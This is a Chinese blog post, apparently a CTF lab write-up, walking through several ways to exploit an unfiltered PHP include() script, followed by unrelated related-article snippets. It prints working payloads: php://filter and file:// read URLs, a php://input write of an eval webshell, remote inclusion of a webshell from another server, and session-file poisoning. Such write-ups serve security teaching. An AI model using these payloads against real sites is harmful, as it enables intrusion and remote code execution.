代码审计--一道简单的文件包含题目的多种利用方式

news2025/3/16 15:53:33

NO.1 传统方法

首先来看下代码


<?php
error_reporting(0);
if(@isset($_GET["file"])){
    include($_GET["file"]);
}else{
    highlight_file(__FILE__);
    phpinfo();
}
?>

看完代码后再来学习学习函数吧,毕竟菜啊!!!


isset()函数检测变量是否设置,是返回true,否则返回false

语法:bool isset( mixed var [, mixed var [, …]] )


error_reporting()函数能够在运行时设置 error_reporting 指令。0为关闭错误报告

语法:error_reporting(level)


include 函数包含并运行指定文件。

这个应该大家都很熟悉了。


highlight_file()函数对文件进行语法高亮显示。

语法:highlight_file(filename,return)

参数:

  1. filename 必需。要进行高亮处理的 PHP 文件的路径。
  2. return 可选。如果设置 true,则本函数返回高亮处理的代码。

这题由于没有任何过滤,利用起来并不困难,

直接访问的时候会出现phpinfo,可能是为了方便让你知道网站路径吧,

知道路径后,当然一般直接使用?file=xxx就可以直接利用了。


NO.2 php伪协议

对于php伪协议,网上也有很多的文章,

但是对于萌新来说,自己再总结学习一下自然不是什么坏事,

谈到伪协议就不得不先说allow_url_fopen allow_url_include这两个函数。

allow_url_fopen函数:默认值是ON,允许url里的封装协议访问文件

allow_url_include函数:默认值是OFF,不允许包含url里的封装协议包含文件

接下来看看CTF中几个常用的伪协议。


1. php://filter

php://filter协议在CTF中经常出现,通常配合base64来读取源码,

参数:

名称:

  1. resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
  2. read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
  3. write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
  4. <; 两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

这道题中利用方法也很简单,

http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=flag.txt

也很好理解,意思就是读取flag.txt的内容,进行base64编码后输出

注意:像这样的话是读取相同路径下的文件,就是include.phpflag.txt同路径

images


接下来看看跟php://filter很像的一个协议

file://协议(不是伪协议)

说明: file:// — 访问本地文件系统

file://协议会受到 allow_url_fopen 的影响,

但是在CTF中通常用来读取本地文件而不会受到allow_url_fopen的影响

用法: file:// [文件的绝对路径和文件名]

然后在这道题中就可以这样去构造,

http://localhost/include.php?file=file://D:\phpStudy\PHPTutorial\WWW\flag.txt

在Windows下正反斜杆都可以使用,

Linux下必须使用正斜杆(/)

images

当然还可以配合php://filter协议使用,

http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=file://D:\phpStudy\PHPTutorial\WWW\flag.txt

2. php://input协议

说明:简单来说就是能够将post请求中的数据作为PHP代码执行

需要将allow_url_include开启

注:当enctype='multipart/form-data' 的时候 php://input 是无效的

测试:

images

也可以post生成一句话

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST['cmd']);?>');?>

先来认识下函数,


fputs()函数将内容写入一个打开的文件中。

语法:fputs(file,string,length)

参数:

  1. file 必需。规定要写入的打开文件。
  2. string 必需。规定要写入打开文件的字符串。
  3. length 可选。规定要写入的最大字节数。

fopen()函数打开文件或者 URL。

语法:fopen(filename,mode,include_path,context)

参数:

  1. filename 必需。规定要打开的文件或 URL。
  2. mode 必需。规定要求到该文件/流的访问类型。可能的值见下表。
  3. include_path 可选。如果也需要在 include_path 中检索文件的话,可以将该参数设为 1 或 TRUE。
  4. context 可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。

mode 参数的可能的值:

  1. “r” 只读方式打开,将文件指针指向文件头。
  2. “r+” 读写方式打开,将文件指针指向文件头。
  3. “w” 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
  4. “w+” 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
  5. “a” 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
  6. “a+” 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
  7. “x” 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,返回 FALSE,如果文件不存在则尝试创建之。
  8. “x+” 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,返回 FALSE,如果文件不存在则尝试创建之。

这句话的意思很明显了,以写入的方式将一句话写入到shell.php这个文件中,

然后就可以直接上菜刀了

images

对于文件包含这个东西来说,文件后缀可以是任意的,

只要文件内容符合PHP语法规范,那么任何扩展名都可以被当作PHP来解析,

这里我们将shell.php改成shell.jpg的后缀,

菜刀路径的话也要换成包含的格式

http://localhost/include.php?file=shell.jpg

依旧是可以访问的,

好了,伪协议就说怎么多了。


NO.3 远程包含

既然是文件包含的题目,当然就离不开远程文件包含了,

远程包含需要目标服务器将allow_url_fopenallow_url_include开启才可以。

现在将一匹马放到自己服务器上,然后远程包含这匹马,

注意,这里有个坑

这匹马的文件名不能是可以解析的文件后缀,比如php后缀可以解析,那么这匹马的后缀就不能是php

http://localhost/include.php?file=http://127.0.0.1/shell.jpg

但是如果我就想要包含php后缀的文件呢,当然也是可以的,

不过这里需要将一句话echo出来才行,这样才可以包含php后缀的文件


<?php
echo '<?php eval($_POST["cmd"]);?>';
?>

然后就可以利用了

images


思考:为什么远程包含需要将一句话echo出来

原因是远程服务器已经将文件解析了,远程包含只包含前端显示的代码,跟后缀没什么关系,

所有这里为什么要echo一句话就是这个道理。

相反,本地包含就不需要在前端显示,只要是符合php规范的代码就可以,

本地包含一般使用jpg,log这样的后缀的一句话去绕waf。


远程包含还可以配合伪协议去利用,

将一句话进行base64加密,

images

注意:这里要是加密echo的一句话是不行的

然后伪协议中base64就要换成解密的了decode

使用方法:

http://localhost/include.php?file=php://filter/read=convert.base64-decode/resource=http://127.0.0.1/shell.php

images

然后一样可以使用菜刀去连接


NO.4 session文件包含

这题我们稍微改动一下,增加一个session


<?php

session_start();
error_reporting(0);

if(@isset($_GET["file"])){
    $_SESSION["username"]=$_GET["file"];
    include($_GET["file"]);
}else{
    highlight_file(__FILE__);
    phpinfo();
}


?>

这里的话就是开启session,然后将传入的参数写入到session文件中。

这里我们传入一个名为flag的参数,

在浏览器中可以看到 phpsessid 在发送的请求的 cookie值,

images


然后我们可以通过phpinfo知道session存放的路径,

images


然后去文件夹中发现确实存在这个临时文件,

images


然后进行读取,session临时文件格式为sess_xxx 发现是我们刚刚传入的flag字段

http://localhost/include.php?file=../tmp/tmp/sess_onkqtedht4iucf6bnnjpgqu0g7

images


如果当我们传入的值为 <?php phpinfo();?> 会出现什么情况

images


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1694923.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

webpack编译过程

webpack编译过程 初始化 此阶段&#xff0c;webpack会将**CLI参数**、**配置文件**、**默认配置**进行融合&#xff0c;形成一个最终的配置对象。​ 对配置的处理过程是依托一个第三方库yargs完成的 ​ 此阶段相对比较简单&#xff0c;主要是为接下来的编译阶段做必要的准备 ​…

那智不二越机器人维修案例分享

那智不二越工业机器人在工业范围内广泛应用于各种生产领域。其示教器作为人机交互的重要设备&#xff0c;常常需要定期维护和Nachi不二越机械手示教盒修理。 【Nachi不二越机器人示教器维修步骤】 1. 关闭电源 在进行任何那智不二越机器人维修操作之前&#xff0c;务必确保机器…

arc-eager算法XJTU-NLP自然语言处理技术期末考知识点

arc-eager算法&#xff1a;以我/做了/一个/梦为例来描述arc-eager算法的四个操作&#xff1a;shift&#xff0c;left-arc&#xff0c;right-arc&#xff0c;reduce XJTU-NLP期末考点2024版 题型&#xff1a;5*6简答题4*15计算题 简答题考点&#xff1a; &#xff08;1&#…

总结 HTTPS 的加密流程

一、前言 http是为了解决http存在的问题而在http基础上加入了SSL/TSL&#xff0c;在HTTP/2中TCP三次握手后会进入SSL/TSL握手&#xff0c;当SSL/TSL建立链接后&#xff0c;才会进行报文的传输。 二、HTTPS的混合加密 我们先来认识密钥&#xff1a; 密钥是用于加密和解密数据…

【spring】@PathVariable注解学习

PathVariable介绍 PathVariable是Spring框架中的一个注解&#xff0c;主要用于处理RESTful风格URL中的路径变量。在RESTful接口设计中&#xff0c;我们经常将资源的ID或者其他标识信息直接放在URL路径中&#xff0c;而不是作为查询参数。PathVariable注解使得控制器方法能够轻…

开源博客项目Blog .NET Core源码学习(22:App.Hosting项目结构分析-10)

本文学习并分析App.Hosting项目中后台管理页面的通知公告维护页面、友情链接维护页面。 通知公告维护页面 通知公告维护页面用于显示、检索、新建、编辑、删除通知公告数据&#xff0c;以便在前台页面的首页循环显示通知公告。通知公告维护页面附带一新建及编辑页面&#xff0…

hsql学习笔记

1. row_number() over (partition by uid order by dt 分析&#xff1a; row_number()&#xff1a; 这是一个窗口函数&#xff0c;用于为结果集中的每一行分配一个唯一的序号。默认情况下&#xff0c;这个序号是按照查询结果的顺序来分配的&#xff0c;但你可以通过OVER()子句…

docker搭建私有仓库并推送本地镜像

1、私仓搭建 docker pull registry#拉取镜像 docker images#查看镜像 mkdir -p /czx/myregistry 创建挂载目录 运行私有库registry (相当于本地有个是有docker hub) docker run -d -p 5000:5000 -v /czx/myregistry/:/tmp/registry --restartalways --privilegedtrue regist…

如何利用GitHubAction来发布自己的Python软件包

我们开发的python软件包如果想发布到网上&#xff0c;可以让其他人通过pip install下载&#xff0c;一般是把软件包发布到PYPI平台。 PYPI准备 我们要现在pypi注册登录一下 文件组织架构 一般的python软件包的文件组织架构为包名文件夹__init__.py程序&#xff0c;包文件夹的…

让写书人勇敢穿越纸海的迷雾

坚守纸海&#xff1a;让写书人勇敢穿越纸海的迷雾 你作为一位写书人&#xff0c;在创作过程中你需要坚守初心是非常重要的。在创作的过程中&#xff0c;你会遇到各种挑战和困难&#xff0c;你要勇敢面对迷雾中的挑战&#xff0c;并通过不懈的努力和决心&#xff0c;成功地穿越…

从反向传播(BP)到BPTT:详细数学推导【原理理解】

从反向传播到BPTT&#xff1a;详细推导与问题解析 在本文中&#xff0c;我们将从反向传播算法开始&#xff0c;详细推导出反向传播通过时间&#xff08;Backpropagation Through Time, BPTT&#xff09;算法。重点讨论BPTT中的梯度消失和梯度爆炸问题&#xff0c;并解释如何解…

[Linux]Crond任务调度以及at任务调度

一.crond任务定时调度 crond是反复检测执行的&#xff0c;一个任务结束后&#xff0c;在所规定的时间之后会再次执行 crontab 指令可以给系统分配定时任务 crontab -e 进入编辑页面&#xff0c;设定任务 crontab -l 查看已有定时任务 crontab -r 删除所有任务 编辑时&#xff…

清华新突破||新研究揭示多智能体协作的秘密武器

获取本文论文原文PDF&#xff0c;请在公众号【AI论文解读】留言&#xff1a;论文解读点击订阅&#xff1a;人工智能论文解读合集 引言&#xff1a;多智能体协作中的挑战与机遇 在多智能体系统中&#xff0c;智能体需要通过协作来完成复杂的任务&#xff0c;这种协作涉及到通信…

二叉树链式结构补充

1.二叉树k层结点个数 2.二叉树查找值为x的结点 3.二叉树基础oj练习 1.二叉树k层结点个数 设置k值&#xff0c;k层到1结点的值是k-1&#xff0c;所以1结点到k层的结点也是k-1的距离&#xff08;高度&#xff09;&#xff0c;这样就可以每下一层就把k值减少一个单位&#xff0…

MySQL的数据库和表

查看数据库 命令行的方式&#xff1a; cd /mysql/bin mysql.exe -uroot -p IP&#xff08;不是连接自己&#xff09; 端口&#xff08;不是3306&#xff09; show databases; 直接使用图形化界面点击&#xff1a; 查看库里的表 使用命令行查看&#xff1a; 进入mysql数据库 u…

C++ AVLTree

目录 介绍 节点的定义 AVLTree结构 Insert 插入节点 调节平衡因子 void rotateR(node* parent) void rotateL(node* parent) void rotateRL(node* parent) void rotateLR(node* parent) void InOrder() int height() int size() bool isBalance() 介绍 如果是有序插…

python web自动化(Allure报告)

Allure详细安装请看之前的博客 1.Allure配置与⼊⻔ 运⾏⽤例&#xff0c;⽣成allure报告 pip install allure-pytest -i https://mirrors.aliyun.com/pypi/simple/ 运⾏⽤例&#xff0c;⽣成allure报告 # main.py import os import pytest if __name__ __m…

【排序算法】——归并排序(递归与非递归)含动图

制作不易&#xff0c;三连支持一下吧&#xff01;&#xff01;&#xff01; 文章目录 前言一.归并排序递归方法实现二.归并排序非递归方法实现 前言 这篇博客我们将介绍归并排序的原理和实现过程。 一、归并排序递归方法实现 基本思想&#xff1a; 归并排序&#xff08;MERGE-…

四元数学习总结(1)

导语&#xff1a;相比矩阵&#xff0c;用四元数处理3D旋转的优势是毋庸置疑的&#xff0c;但由于概念复杂&#xff0c;难于理解&#xff0c;一直令我摸不着头脑。最近学习更是发现在机器人、无人机、SLAM等先进领域&#xff0c;四元数被当成实数、整数这样的基础&#xff0c;所…

jmeter安装SSH插件

安装SSH插件 下载jar包&#xff1a; ApacheJMeter-ssh-1.2.0.jar jsch-0.1.55.jar jar包放在jmeter安装路径 lib下和lib/ext文件夹下&#xff1a; 重启jmeter即可&#xff1a;